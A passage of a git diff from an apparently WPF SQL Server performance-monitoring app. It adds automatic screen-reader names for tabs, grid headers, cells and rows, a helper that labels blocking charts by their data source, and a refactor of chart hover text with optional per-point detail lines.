+/// ("...ViewerJobHistoryRow"). A screen reader or a UI test then cannot say which tab, column or row it is on. A string header is named correctly by WPF already, and a name set by hand always wins.</para>
+///
+/// <para>It is a class handler on the control types, not a style or a template: every theme and every control that
+/// declares its own template gets it, and no header has to be edited one at a time.</para>
+///
+/// <para>Cost: the handlers run on every <c>SizeChanged</c> of every header, tab, row and cell. After an element has been
+/// looked at once, that path is a property read and a return: no allocation and no tree walk. The tree is walked, and text
+/// watchers are added, only when the element is first seen, when its content or text changes, and when a virtualized row or cell is
+/// reused for another item.</para>
+/// </summary>
+public static class AccessibleNames
+{
+    private static bool s_registered;
+
+    /// <summary>
+    /// Text watchers this thread has attached and not yet removed. Diagnostic only: a test reads it to show the count follows the
+    /// cells and rows on screen, not the rows in the data, when a virtualized grid is scrolled.
+    /// </summary>
+    [ThreadStatic]
+    private static int s_watcherCount;
+
+    internal static int WatcherCount => s_watcherCount;
+
+    /// <summary>Registers the handlers once for the process. Call it from the application's startup.</summary>
+    public static void Register()
+    {
+        if (s_registered)
+        {
+            return;
+        }
+
+        s_registered = true;
+        /* SizeChanged, not Loaded: WPF raises Loaded straight to an instance's own handlers and never runs class handlers for it,
+           so a class handler on LoadedEvent never ran and the headers kept the type name of their panel (release walk). Every
+           element gets its first SizeChanged when it is first laid out, before a screen reader can ask for its name. */
+        EventManager.RegisterClassHandler(typeof(TabItem), FrameworkElement.SizeChangedEvent, new RoutedEventHandler(OnTabItemSized));
+        EventManager.RegisterClassHandler(typeof(System.Windows.Controls.Primitives.DataGridColumnHeader), FrameworkElement.SizeChangedEvent, new RoutedEventHandler(OnColumnHeaderSized));
+        EventManager.RegisterClassHandler(typeof(DataGridCell), FrameworkElement.SizeChangedEvent, new RoutedEventHandler(OnCellSized));
+        EventManager.RegisterClassHandler(typeof(DataGridRow), FrameworkElement.SizeChangedEvent, new RoutedEventHandler(OnRowSized));
+    }
+
+    /// <summary>The name this class set itself, so a later change of the header text can replace it while a name set by hand never is.</summary>
+    private static readonly DependencyProperty AutoNameProperty = DependencyProperty.RegisterAttached(
+        "AutoName", typeof(string), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    /// <summary>The text block a name was read from, and the handler that re-reads the name when its text changes.</summary>
+    private sealed class Watcher
+    {
+        public TextBlock Source = null!;
+        public EventHandler Handler = null!;
+    }
+
+    private static readonly DependencyProperty WatcherProperty = DependencyProperty.RegisterAttached(
+        "Watcher", typeof(Watcher), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    /// <summary>
+    /// The header object a tab or column header was last looked at with. The per-event path compares it by reference with the
+    /// current header and returns: a header with no text in it (nothing to watch) is not walked again on every resize.
+    /// </summary>
+    private static readonly DependencyProperty CheckedHeaderProperty = DependencyProperty.RegisterAttached(
+        "CheckedHeader", typeof(object), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    internal static void OnTabItemSized(object sender, RoutedEventArgs e)
+    {
+        if (sender is TabItem tab && !ReferenceEquals(tab.GetValue(CheckedHeaderProperty), tab.Header))
+        {
+            Name(tab, tab.Header);
+        }
+    }
+
+    internal static void OnColumnHeaderSized(object sender, RoutedEventArgs e)
+    {
+        /* SizeChanged fires on every resize: a header already looked at with this content is left alone. */
+        if (sender is System.Windows.Controls.Primitives.DataGridColumnHeader header && !ReferenceEquals(header.GetValue(CheckedHeaderProperty), header.Content))
+        {
+            Name(header, header.Content);
+        }
+    }
+
+    // ---- cells and rows: names from the visible text, kept current by watchers on the text blocks they were read from ----
+
+    /// <summary>
+    /// What is attached to one grid cell or row: the text blocks its name was read from, the one handler that re-reads the
+    /// name when any of them changes, and the flags that keep the per-event path to a single check.
+    /// </summary>
+    private sealed class TextWatch
+    {
+        public bool Active;
+        public bool Hooked;
+        public bool ContentWatched;
+        public bool RefreshPending;
+        public readonly List<TextBlock> Sources = new();
+        public EventHandler Changed = null!;
+    }
+
+    private static readonly DependencyProperty CellWatchProperty = DependencyProperty.RegisterAttached(
+        "CellWatch", typeof(TextWatch), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    private static readonly DependencyProperty RowWatchProperty = DependencyProperty.RegisterAttached(
+        "RowWatch", typeof(TextWatch), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    /// <summary>
+    /// A grid cell with nothing visible in it (a Retries column on a job that never retried) is named by UI Automation from the
+    /// row's type name: "Item: PerformanceMonitor...ViewerJobHistoryRow, Column Display Index: 7". The cell is named
+    /// "&lt;column&gt;: blank" instead, and the name is dropped again if its text fills in. A text cell and a cell built from a template
+    /// are judged the same way: it is blank when it holds only empty text blocks and plain layout panels. Anything else (a check box,
+    /// a button, an image, a coloured box) counts as content and the cell is left alone, as is a cell with text or a name set by hand.
+    /// </summary>
+    internal static void OnCellSized(object sender, RoutedEventArgs e)
+    {
+        if (sender is DataGridCell cell && cell.GetValue(CellWatchProperty) is not TextWatch { Active: true })
+        {
+            ActivateCell(cell);
+        }
+    }
+
+    private static void ActivateCell(DataGridCell cell)
+    {
+        var watch = cell.GetValue(CellWatchProperty) as TextWatch;
+
+        if (watch is null)
+        {
+            watch = new TextWatch();
+            watch.Changed = (_, _) => RefreshCell(cell, watch);
+            cell.SetValue(CellWatchProperty, watch);
+        }
+
+        watch.Active = true;
+
+        if (!watch.Hooked)
+        {
+            watch.Hooked = true;
+            cell.Unloaded += OnCellUnloaded;
+            cell.Loaded += OnCellLoaded;
+        }
+
+        if (!watch.ContentWatched)
+        {
+            watch.ContentWatched = true;
+            s_watcherCount++;
+            DependencyPropertyDescriptor.FromProperty(ContentControl.ContentProperty, typeof(DataGridCell)).AddValueChanged(cell, watch.Changed);
+        }
+
+        RefreshCell(cell, watch);
+    }
+
+    private static void OnCellLoaded(object sender, RoutedEventArgs e)
+    {
+        /* A cell that was unloaded and put back may not be resized, so its first SizeChanged would not run again. */
+        if (sender is DataGridCell cell && cell.GetValue(CellWatchProperty) is TextWatch { Active: false })
+        {
+            ActivateCell(cell);
+        }
+    }
+
+    private static void OnCellUnloaded(object sender, RoutedEventArgs e)
+    {
+        if (sender is DataGridCell cell && cell.GetValue(CellWatchProperty) is TextWatch watch)
+        {
+            Deactivate(cell, watch, ContentControl.ContentProperty, typeof(DataGridCell));
+        }
+    }
+
+    private static void RefreshCell(DataGridCell cell, TextWatch watch)
+    {
+        var content = cell.Content;
+
+        if (content is null)
+        {
+            /* Not generated yet: the Content watcher calls this again when it is. */
+            return;
+        }
+
+        var leaves = new List<TextBlock>();
+        var blank = content is string s ? string.IsNullOrWhiteSpace(s) : content is DependencyObject d && IsBlank(d, leaves);
+        Retarget(watch, leaves);
+
+        if (blank)
+        {
+            var title = cell.Column is null ? null : VisibleText(cell.Column.Header);
+
+            if (!string.IsNullOrWhiteSpace(title))
+            {
+                SetAuto(cell, title + ": blank");
+                return;
+            }
+        }
+
+        ClearAuto(cell);
+    }
+
+    /// <summary>
+    /// A grid row is named by UI Automation from its data item's type name. It is named from the first two visible columns that
+    /// have text instead: "Time 06:01:12, Server example-sql-01". The same rule for every grid, templated cells included.
+    /// </summary>
+    internal static void OnRowSized(object sender, RoutedEventArgs e)
+    {
+        if (sender is DataGridRow row && row.GetValue(RowWatchProperty) is not TextWatch { Active: true })
+        {
+            ActivateRow(row);
+        }
+    }
+
+    private static void ActivateRow(DataGridRow row)
+    {
+        var watch = row.GetValue(RowWatchProperty) as TextWatch;
+
+        if (watch is null)
+        {
+            watch = new TextWatch();
+            watch.Changed = (_, _) => RefreshRow(row, watch);
+            row.SetValue(RowWatchProperty, watch);
+        }
+
+        watch.Active = true;
+        HookColumnOrder(row);
+
+        if (!watch.Hooked)
+        {
+            watch.Hooked = true;
+            row.Unloaded += OnRowUnloaded;
+            row.Loaded += OnRowLoaded;
+            row.DataContextChanged += OnRowDataContextChanged;
+        }
+
+        RefreshRow(row, watch);
+    }
+
+    private static void OnRowLoaded(object sender, RoutedEventArgs e)
+    {
+        if (sender is DataGridRow row && row.GetValue(RowWatchProperty) is TextWatch { Active: false })
+        {
+            ActivateRow(row);
+        }
+    }
+
+    private static void OnRowUnloaded(object sender, RoutedEventArgs e)
+    {
+        if (sender is DataGridRow row && row.GetValue(RowWatchProperty) is TextWatch watch)
+        {
+            Deactivate(row, watch, null, null);
+        }
+    }
+
+    /// <summary>
+    /// A virtualized grid reuses a row for another item by changing its DataContext. The row's cells take the new item's values
+    /// afterwards, so the name is re-read once at Loaded priority, when they have.
+    /// </summary>
+    private static void OnRowDataContextChanged(object sender, DependencyPropertyChangedEventArgs e)
+    {
+        if (sender is not DataGridRow row || row.GetValue(RowWatchProperty) is not TextWatch { Active: true } watch || watch.RefreshPending)
+        {
+            return;
+        }
+
+        watch.RefreshPending = true;
+        row.Dispatcher.BeginInvoke(DispatcherPriority.Loaded, new Action(() =>
+        {
+            watch.RefreshPending = false;
+
+            if (watch.Active)
+            {
+                RefreshRow(row, watch);
+            }
+        }));
+    }
+
+    private sealed class GridOrderWatch
+    {
+        public bool RefreshPending;
+    }
+
+    private static readonly DependencyProperty GridOrderWatchProperty = DependencyProperty.RegisterAttached(
+        "GridOrderWatch", typeof(GridOrderWatch), typeof(AccessibleNames), new PropertyMetadata(null));
+
+    /// <summary>
+    /// The row name reads the first two columns in DISPLAY order, so dragging a column header to a new place changes it. One
+    /// handler per grid, hooked when its first row is named: a static handler on the grid's own event, so it lives and dies with the grid.
+    /// </summary>
+    private static void HookColumnOrder(DataGridRow row)
+    {
+        if (ItemsControl.ItemsControlFromItemContainer(row) is DataGrid grid && grid.GetValue(GridOrderWatchProperty) is null)
+        {
+            grid.SetValue(GridOrderWatchProperty, new GridOrderWatch());
+            grid.ColumnDisplayIndexChanged += OnColumnDisplayIndexChanged;
+        }
+    }
+
+    private static void OnColumnDisplayIndexChanged(object? sender, DataGridColumnEventArgs e)
+    {
+        /* One drag moves several columns' DisplayIndex: read the rows once, at Loaded priority, when the new order has settled. */
+        if (sender is not DataGrid grid || grid.GetValue(GridOrderWatchProperty) is not GridOrderWatch { RefreshPending: false } order)
+        {
+            return;
+        }
+
+        order.RefreshPending = true;
+        grid.Dispatcher.BeginInvoke(DispatcherPriority.Loaded, new Action(() =>
+        {
+            order.RefreshPending = false;
+            RefreshRealizedRows(grid);
+        }));
+    }
+
+    /// <summary>Re-reads the name of every realized row under <paramref name="node"/>; a row is not searched for rows inside it.</summary>
+    private static void RefreshRealizedRows(DependencyObject node)
+    {
+        for (var i = 0; i < VisualTreeHelper.GetChildrenCount(node); i++)
+        {
+            var child = VisualTreeHelper.GetChild(node, i);
+
+            if (child is DataGridRow row)
+            {
+                if (row.GetValue(RowWatchProperty) is TextWatch { Active: true } watch)
+                {
+                    RefreshRow(row, watch);
+                }
+            }
+            else
+            {
+                RefreshRealizedRows(child);
+            }
+        }
+    }
+
+    private static void RefreshRow(DataGridRow row, TextWatch watch)
+    {
+        var grid = ItemsControl.ItemsControlFromItemContainer(row) as DataGrid;
+
+        if (grid is null)
+        {
+            return;
+        }
+
+        var leaves = new List<TextBlock>();
+        var parts = new List<string>(2);
+
+        foreach (var column in grid.Columns.Where(c => c.Visibility == Visibility.Visible).OrderBy(c => c.DisplayIndex))
+        {
+            var content = column.GetCellContent(row);
+
+            if (content is null)
+            {
+                continue;
+            }
+
+            var own = new List<TextBlock>();
+            IsBlank(content, own);
+            leaves.AddRange(own);
+            var text = own.Select(t => t.Text?.Trim()).FirstOrDefault(t => !string.IsNullOrEmpty(t));
+
+            if (string.IsNullOrEmpty(text))
+            {
+                continue;
+            }
+
+            var title = VisibleText(column.Header);
+            parts.Add(Cap(string.IsNullOrWhiteSpace(title) ? text : title + " " + text));
+
+            if (parts.Count == 2)
+            {
+                break;
+            }
+        }
+
+        Retarget(watch, leaves);
+
+        if (parts.Count > 0)
+        {
+            SetAuto(row, string.Join(", ", parts));
+        }
+        else
+        {
+            ClearAuto(row);
+        }
+    }
+
+    /// <summary>Longest part of a row name. A query text column would otherwise put the whole statement in the name, and a screen reader reads it again at every focus.</summary>
+    private const int MaxPartLength = 80;
+
+    private static string Cap(string part) => part.Length <= MaxPartLength ? part : part.Substring(0, MaxPartLength - 3).TrimEnd() + "...";
+
+    /// <summary>
+    /// True when <paramref name="node"/> shows nothing: only empty text blocks inside layout panels and plain borders. Every text
+    /// block met is added to <paramref name="leaves"/> (empty or not) so the caller can watch them. Anything else, including a
+    /// panel or border that draws a colour, is content, but the text inside it is still collected.
+    /// </summary>
+    private static bool IsBlank(DependencyObject node, List<TextBlock> leaves)
+    {
+        var blank = true;
+        Collect(node, leaves, ref blank);
+
+        foreach (var t in leaves)
+        {
+            if (!string.IsNullOrWhiteSpace(t.Text))
+            {
+                return false;
+            }
+        }
+
+        return blank;
+    }
+
+    private static void Collect(DependencyObject node, List<TextBlock> leaves, ref bool blank)
+    {
+        /* Collapsed or hidden: not on screen, so neither its text nor its presence is content (a template that hides one
+           element beside another). A template that SWAPS elements later (a trigger, a selector) is not followed: no CellTemplate
+           in Lite or the Viewer does that, and only a text or Content change makes the cell look again. */
+        if (node is UIElement { Visibility: not Visibility.Visible })
+        {
+            return;
+        }
+
+        switch (node)
+        {
+            case TextBlock tb:
+                leaves.Add(tb);
+                return;
+            case Panel panel:
+                /* A coloured panel is content, but the text on it (a heat-map cell: a tinted border around the value) is still read. */
+                blank &= !Draws(panel.Background);
+                CollectChildren(node, leaves, ref blank);
+                return;
+            case Border border:
+                blank &= !Draws(border.Background) && !Draws(border.BorderBrush);
+                CollectChildren(node, leaves, ref blank);
+                return;
+            case Decorator:
+            case ContentPresenter:
+                CollectChildren(node, leaves, ref blank);
+                return;
+            case System.Windows.Controls.Primitives.ButtonBase:
+                /* A check box, a button: visible content that is not text. */
+                blank = false;
+                return;
+            case ContentControl control:
+                /* A user control such as the bar cell (a value over a thin bar): read the text inside it. Content that has not
+                   been given a visual tree yet is not judged blank. */
+                if (VisualTreeHelper.GetChildrenCount(node) == 0 && control.Content is not null)
+                {
+                    blank = false;
+                }
+
+                CollectChildren(node, leaves, ref blank);
+                return;
+            default:
+                /* An image, a shape: visible content that is not text. */
+                blank = false;
+                return;
+        }
+    }
+
+    private static void CollectChildren(DependencyObject node, List<TextBlock> leaves, ref bool blank)
+    {
+        for (var i = 0; i < VisualTreeHelper.GetChildrenCount(node); i++)
+        {
+            Collect(VisualTreeHelper.GetChild(node, i), leaves, ref blank);
+        }
+    }
+
+    /// <summary>True for a brush that shows something: not null and not fully transparent (a hit-test panel, a heat cell with no heat).</summary>
+    private static bool Draws(Brush? brush) => brush is not null && !(brush is SolidColorBrush { Color.A: 0 });
+
+    /// <summary>Points the watch at exactly <paramref name="sources"/>: removes handlers from text blocks no longer read, adds them to new ones.</summary>
+    private static void Retarget(TextWatch watch, List<TextBlock> sources)
+    {
+        var descriptor = DependencyPropertyDescriptor.FromProperty(TextBlock.TextProperty, typeof(TextBlock));
+
+        for (var i = watch.Sources.Count - 1; i >= 0; i--)
+        {
+            if (!sources.Contains(watch.Sources[i]))
+            {
+                descriptor.RemoveValueChanged(watch.Sources[i], watch.Changed);
+                watch.Sources.RemoveAt(i);
+                s_watcherCount--;
+            }
+        }
+
+        foreach (var source in sources)
+        {
+            if (!watch.Sources.Contains(source))
+            {
+                descriptor.AddValueChanged(source, watch.Changed);
+                watch.Sources.Add(source);
+                s_watcherCount++;
+            }
+        }
+    }
+
+    private static void Deactivate(DependencyObject element, TextWatch watch, DependencyProperty? contentProperty, Type? owner)
+    {
+        Retarget(watch, new List<TextBlock>());
+
+        if (watch.ContentWatched && contentProperty is not null && owner is not null)
+        {
+            DependencyPropertyDescriptor.FromProperty(contentProperty, owner).RemoveValueChanged(element, watch.Changed);
+            watch.ContentWatched = false;
+            s_watcherCount--;
+        }
+
+        watch.Active = false;
+    }
+
+    private static void ClearAuto(DependencyObject element)
+    {
+        if (element.GetValue(AutoNameProperty) is string auto)
+        {
+            if (AutomationProperties.GetName(element) == auto)
+            {
+                element.ClearValue(AutomationProperties.NameProperty);
+            }
+
+            element.ClearValue(AutoNameProperty);
+        }
+    }
+
+    private static void OnUnloaded(object sender, RoutedEventArgs e)
+    {
+        if (sender is DependencyObject element)
+        {
+            Unwatch(element);
+        }
+    }
+
+    /// <summary>
+    /// Names <paramref name="element"/> from <paramref name="header"/> unless a hand-set name is there or the header is plain text.
+    /// A name this class set before is replaced when the header text has changed since (an edited server tab, a bound column
+    /// title), and a changed text is picked up from then on without another call.
+    /// </summary>
+    public static void Name(DependencyObject element, object? header)
+    {
+        if (header is null || header is string)
+        {
+            element.SetValue(CheckedHeaderProperty, header);
+            return;
+        }
+
+        var text = VisibleText(header, out var source);
+
+        if (!string.IsNullOrWhiteSpace(text) && SetAuto(element, text))
+        {
+            if (element is System.Windows.Controls.Primitives.DataGridColumnHeader)
+            {
+                NameFilterButtons(header, text);
+            }
+        }
+
+        Watch(element, source);
+        /* After Watch: attaching a new watcher goes through Unwatch, which forgets what was checked. */
+        element.SetValue(CheckedHeaderProperty, header);
+    }
+
+    /// <summary>Sets the name unless one was set by hand; true when the element carries this class's name afterwards.</summary>
+    private static bool SetAuto(DependencyObject element, string text)
+    {
+        var current = AutomationProperties.GetName(element);
+        var auto = (string?)element.GetValue(AutoNameProperty);
+
+        if (!string.IsNullOrEmpty(current) && !string.Equals(current, auto, StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        if (!string.Equals(current, text, StringComparison.Ordinal))
+        {
+            AutomationProperties.SetName(element, text);
+        }
+
+        element.SetValue(AutoNameProperty, text);
+        return true;
+    }
+
+    /// <summary>The filter button beside a column title has only a private-use glyph: a screen reader reads it as "Filter &lt;column&gt;".</summary>
+    private static void NameFilterButtons(object header, string columnTitle)
+    {
+        if (header is System.Windows.Controls.Primitives.ButtonBase button)
+        {
+            SetAuto(button, "Filter " + columnTitle);
+        }
+        else if (header is DependencyObject d)
+        {
+            foreach (var child in LogicalTreeHelperChildren(d))
+            {
+                NameFilterButtons(child, columnTitle);
+            }
+        }
+    }
+
+    private static void Watch(DependencyObject element, TextBlock? source)
+    {
+        var watcher = (Watcher?)element.GetValue(WatcherProperty);
+
+        if (watcher is not null && ReferenceEquals(watcher.Source, source))
+        {
+            return;
+        }
+
+        Unwatch(element);
+
+        if (source is null || element is not FrameworkElement fe)
+        {
+            return;
+        }
+
+        var descriptor = DependencyPropertyDescriptor.FromProperty(TextBlock.TextProperty, typeof(TextBlock));
+        EventHandler handler = (_, _) => Name(element, CurrentHeader(element));
+        descriptor.AddValueChanged(source, handler);
+        s_watcherCount++;
+        element.SetValue(WatcherProperty, new Watcher { Source = source, Handler = handler });
+        fe.Unloaded -= OnUnloaded;
+        fe.Unloaded += OnUnloaded;
+        /* Unloaded takes the text watcher off, and a header put back at the same size gets no SizeChanged (a fixed-width column:
+           Alert History "Time", Job History "Run Time"), so its text could change while it was out and nothing would look again.
+           Loaded looks again, the way cells and rows already do. Hooked here, once per element, and left on. */
+        fe.Loaded -= OnHeaderLoaded;
+        fe.Loaded += OnHeaderLoaded;
+    }
+
+    private static object? CurrentHeader(DependencyObject element) => element switch
+    {
+        TabItem t => t.Header,
+        System.Windows.Controls.Primitives.DataGridColumnHeader h => h.Content,
+        _ => null,
+    };
+
+    private static void OnHeaderLoaded(object sender, RoutedEventArgs e)
+    {
+        if (sender is DependencyObject element)
+        {
+            Name(element, CurrentHeader(element));
+        }
+    }
+
+    private static void Unwatch(DependencyObject element)
+    {
+        /* Forgetting what was checked lets the next SizeChanged look again after a header is unloaded and put back. */
+        element.ClearValue(CheckedHeaderProperty);
+
+        if (element.GetValue(WatcherProperty) is Watcher watcher)
+        {
+            DependencyPropertyDescriptor.FromProperty(TextBlock.TextProperty, typeof(TextBlock)).RemoveValueChanged(watcher.Source, watcher.Handler);
+            s_watcherCount--;
+            element.ClearValue(WatcherProperty);
+        }
+    }
+
+    /// <summary>
+    /// The first piece of visible text in a header: the string itself, a text block's text, or the first non-empty text
+    /// block found inside a panel or content control, in the order the user reads them. Null when there is none.
+    /// </summary>
+    public static string? VisibleText(object? header) => VisibleText(header, out _);
+
+    private static string? VisibleText(object? header, out TextBlock? source)
+    {
+        source = null;
+
+        switch (header)
+        {
+            case null:
+                return null;
+            case string s:
+                return s.Trim();
+            case System.Windows.Controls.Primitives.ButtonBase:
+                /* The filter button beside a column title: its glyph is not the title. */
+                return null;
+            case TextBlock tb:
+                source = tb;
+                return tb.Text?.Trim();
+            case DependencyObject d:
+                foreach (var child in LogicalTreeHelperChildren(d))
+                {
+                    var found = VisibleText(child, out var childSource);
+
+                    if (!string.IsNullOrWhiteSpace(found))
+                    {
+                        source = childSource;
+                        return found;
+                    }
+                }
+
+                return null;
+            default:
+                return header.ToString();
+        }
+    }
+
+    private static System.Collections.IEnumerable LogicalTreeHelperChildren(DependencyObject d)
+    {
+        if (d is ContentControl control && control.Content is not null)
+        {
+            return new[] { control.Content };
+        }
+
+        return LogicalTreeHelper.GetChildren(d);
+    }
+}
diff --git a/PerformanceMonitor.Ui/BlockingSourceLabel.cs b/PerformanceMonitor.Ui/BlockingSourceLabel.cs
new file mode 100644
index 0000000000..1bff92de7a
--- /dev/null
+++ b/PerformanceMonitor.Ui/BlockingSourceLabel.cs
@@ -0,0 +1,42 @@
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The axis label a blocking chart wears when it knows which collector answered (#5244), in one place for both apps. The blocking
+/// trend and severity reads draw from the blocked-process-report XE session when it holds a row in the window for the chosen
+/// databases, and from the DMV snapshot only when it holds none, so a filter of [A] can draw A's DMV-only event that [A, B] drops.
+/// The MCP answers already name the arm (the <c>source</c> key); this puts the same two tags on the screens. Lite builds its labels
+/// in <c>ServerTab.UpdateBlockingTrendChart</c> and the stats charts, the Darling viewer in <c>ViewerServerTab.Blocking.cs</c>, so
+/// the two apps cannot word it differently.
+/// </summary>
+internal static class BlockingSourceLabel
+{
+    /// <summary>The tag on rows the blocked-process-report XE session answered (the same text as <c>BlockedProcessAlertRow.XeReportSource</c>).</summary>
+    internal const string BlockedProcessReport = "blocked-process-report";
+
+    /// <summary>The tag on rows the always-on DMV snapshot answered (the same text as <c>BlockedProcessAlertRow.DmvSnapshotSource</c>).</summary>
+    internal const string DmvSnapshot = "DMV snapshot";
+
+    /// <summary>
+    /// <paramref name="baseLabel"/> with the answering arm appended in parentheses, for example <c>Blocking Incidents (DMV snapshot)</c>.
+    /// The reads answer from ONE arm, so the first recognized tag names the chart. No rows, or rows carrying no recognized tag (the
+    /// deadlock reads leave it null), return <paramref name="baseLabel"/> unchanged: nothing answered, so nothing is named.
+    /// </summary>
+    /// <param name="baseLabel">The chart's usual axis label.</param>
+    /// <param name="sources">The <c>Source</c> of each drawn point.</param>
+    internal static string For(string baseLabel, IEnumerable<string?> sources)
+    {
+        ArgumentNullException.ThrowIfNull(baseLabel);
+        ArgumentNullException.ThrowIfNull(sources);
+
+        foreach (var source in sources)
+        {
+            if (source is BlockedProcessReport or DmvSnapshot)
+                return baseLabel + " (" + source + ")";
+        }
+
+        return baseLabel;
+    }
+}
diff --git a/PerformanceMonitor.Ui/ChartHoverHelper.cs b/PerformanceMonitor.Ui/ChartHoverHelper.cs
index 61900c5993..a3fe55df6b 100644
--- a/PerformanceMonitor.Ui/ChartHoverHelper.cs
+++ b/PerformanceMonitor.Ui/ChartHoverHelper.cs
@@ -26,10 +26,12 @@ namespace PerformanceMonitor.Ui;
 internal sealed class ChartHoverHelper
 {
     /// <summary>A registered series: the scatter, its full (untruncated) label, and the unmutated
-    /// identity color captured at registration (see <see cref="Add"/>).</summary>
+    /// identity color captured at registration (see <see cref="Add"/>). <paramref name="PointDetails"/> is an optional
+    /// extra hover line per point, keyed by the point's X (see <see cref="Add"/>).</summary>
     internal readonly record struct SeriesEntry(
         ScottPlot.Plottables.Scatter Scatter, string Label, ScottPlot.Color Identity,
-        ScottPlot.Color OrigLineColor, float OrigLineWidth, float OrigMarkerSize, bool OrigFillY);
+        ScottPlot.Color OrigLineColor, float OrigLineWidth, float OrigMarkerSize, bool OrigFillY,
+        IReadOnlyDictionary<double, string>? PointDetails = null);
 
     private readonly ScottPlot.WPF.WpfPlot _chart;
     private readonly List<SeriesEntry> _series = new();
@@ -180,7 +182,17 @@ public void Clear()
         PlainTimeAt = null;
     }
 
-    public void Add(ScottPlot.Plottables.Scatter scatter, string label) =>
+    /// <param name="scatter">The series to hover.</param>
+    /// <param name="label">The series' name, the popup's first line.</param>
+    /// <param name="pointDetails">
+    /// Optional, keyed by the X a point of <paramref name="scatter"/> is drawn at (#4989): a fourth popup line for the nearest
+    /// point, for a series whose point stands for more than its value (a bucket's maximum drawn over the runs behind it).
+    /// The key is the point's X and not its position in the scatter, because the scatter can hold points the caller never
+    /// gave it (<c>Add.TimeSeries</c> inserts one into every gap), which would put every position after the first gap one
+    /// point out. A point with no entry, such as an inserted one, shows no fourth line. Build the keys from the same X
+    /// values the scatter was built from, so the lookup is exact. Left out, the popup is the three lines it always was.
+    /// </param>
+    public void Add(ScottPlot.Plottables.Scatter scatter, string label, IReadOnlyDictionary<double, string>? pointDetails = null) =>
         /* Capture the IDENTITY color from the marker fill, NOT scatter.Color: Add runs after
            ChartStyle.StyleScatter, which has already mutated the line color to identity.WithAlpha(215)
            but never touches the marker fill — so MarkerStyle.FillColor still holds the pure identity
@@ -189,7 +201,7 @@ but never touches the marker fill — so MarkerStyle.FillColor still holds the p
            no fill, and never call StyleScatter) as well as the StyleScatter'd fill charts. */
         _series.Add(new SeriesEntry(
             scatter, label, scatter.MarkerStyle.FillColor,
-            scatter.LineColor, scatter.LineWidth, scatter.MarkerSize, scatter.FillY));
+            scatter.LineColor, scatter.LineWidth, scatter.MarkerSize, scatter.FillY, pointDetails));
 
     public void Add(ScottPlot.Plottables.BarPlot barPlot, string label) =>
         _barPlots.Add((barPlot, label));
@@ -270,6 +282,66 @@ per plot (lazily on the first bar) instead of two GetPixel calls per bar. */
         }
     }
 
+    /// <summary>
+    /// The popup's text for the mouse at <paramref name="pixel"/> (the chart's own pixel space), or <c>null</c> when no point
+    /// is near enough to say anything. The one place the hover decides what it shows, <c>internal</c> so the tests ask it
+    /// what a hover says without a mouse.
+    /// </summary>
+    internal string? HoverTextAt(ScottPlot.Pixel pixel)
+    {
+        var mouseCoords = _chart.Plot.GetCoordinates(pixel);
+
+        /* Use X-axis (time) proximity as the primary filter, Y-axis distance
+           as tiebreaker. This makes tooltips appear reliably when hovering at
+           any Y position near a data point's time — standard for time-series. */
+        double bestYDistance = double.MaxValue;
+        ScottPlot.DataPoint bestPoint = default;
+        string bestLabel = "";
+        string? bestDetail = null;
+        bool found = false;
+
+        foreach (var entry in _series)
+        {
+            var nearest = entry.Scatter.Data.GetNearest(mouseCoords, _chart.Plot.LastRender);
+            if (!nearest.IsReal) continue;
+
+            var nearestPixel = _chart.Plot.GetPixel(
+                new ScottPlot.Coordinates(nearest.X, nearest.Y));
+            double dx = Math.Abs(nearestPixel.X - pixel.X);
+            double dy = Math.Abs(nearestPixel.Y - pixel.Y);
+
+            /* Must be within 80px horizontally (time axis). Among matches,
+               pick the series closest in Y (nearest line to cursor). */
+            if (dx < 80 && dy < bestYDistance)
+            {
+                bestYDistance = dy;
+                bestPoint = nearest;
+                bestLabel = entry.Label;
+                bestDetail = entry.PointDetails is { } details && details.TryGetValue(nearest.X, out var detail)
+                    ? detail
+                    : null;
+                found = true;
+            }
+        }
+
+        /* A bar that beats the series' nearest point (it lowers the Y distance) carries no detail line. */
+        var distanceBeforeBars = bestYDistance;
+        FindNearestBar(pixel, ref bestYDistance, ref bestPoint, ref bestLabel, ref found);
+        if (bestYDistance < distanceBeforeBars)
+        {
+            bestDetail = null;
+        }
+
+        if (!found) return null;
+
+        var plottedX = DateTime.FromOADate(bestPoint.X);
+        var time = FormatHoverTime(plottedX, _displayZone, PlainTimeAt?.Invoke(plottedX) == true);
+        string valueFormatted = (bestPoint.Y == Math.Floor(bestPoint.Y))
+            ? bestPoint.Y.ToString("N0")
+            : bestPoint.Y.ToString("N1");
+        return HoverText(bestLabel, valueFormatted, _unit, time, bestDetail);
+    }
+
     private void OnMouseMove(object sender, MouseEventArgs e)
     {
         if (_series.Count == 0 && _barPlots.Count == 0) return;
@@ -284,47 +356,11 @@ private void OnMouseMove(object sender, MouseEventArgs e)
             var pixel = new ScottPlot.Pixel(
                 (float)(pos.X * dpi.DpiScaleX),
                 (float)(pos.Y * dpi.DpiScaleY));
-            var mouseCoords = _chart.Plot.GetCoordinates(pixel);
-
-            /* Use X-axis (time) proximity as the primary filter, Y-axis distance
-               as tiebreaker. This makes tooltips appear reliably when hovering at
-               any Y position near a data point's time — standard for time-series. */
-            double bestYDistance = double.MaxValue;
-            ScottPlot.DataPoint bestPoint = default;
-            string bestLabel = "";
-            bool found = false;
 
-            foreach (var entry in _series)
+            var text = HoverTextAt(pixel);
+            if (text is not null)
             {
-                var nearest = entry.Scatter.Data.GetNearest(mouseCoords, _chart.Plot.LastRender);
-                if (!nearest.IsReal) continue;
-
-                var nearestPixel = _chart.Plot.GetPixel(
-                    new ScottPlot.Coordinates(nearest.X, nearest.Y));
-                double dx = Math.Abs(nearestPixel.X - pixel.X);
-                double dy = Math.Abs(nearestPixel.Y - pixel.Y);
-
-                /* Must be within 80px horizontally (time axis). Among matches,
-                   pick the series closest in Y (nearest line to cursor). */
-                if (dx < 80 && dy < bestYDistance)
-                {
-                    bestYDistance = dy;
-                    bestPoint = nearest;
-                    bestLabel = entry.Label;
-                    found = true;
-                }
-            }
-
-            FindNearestBar(pixel, ref bestYDistance, ref bestPoint, ref bestLabel, ref found);
-
-            if (found)
-            {
-                var plottedX = DateTime.FromOADate(bestPoint.X);
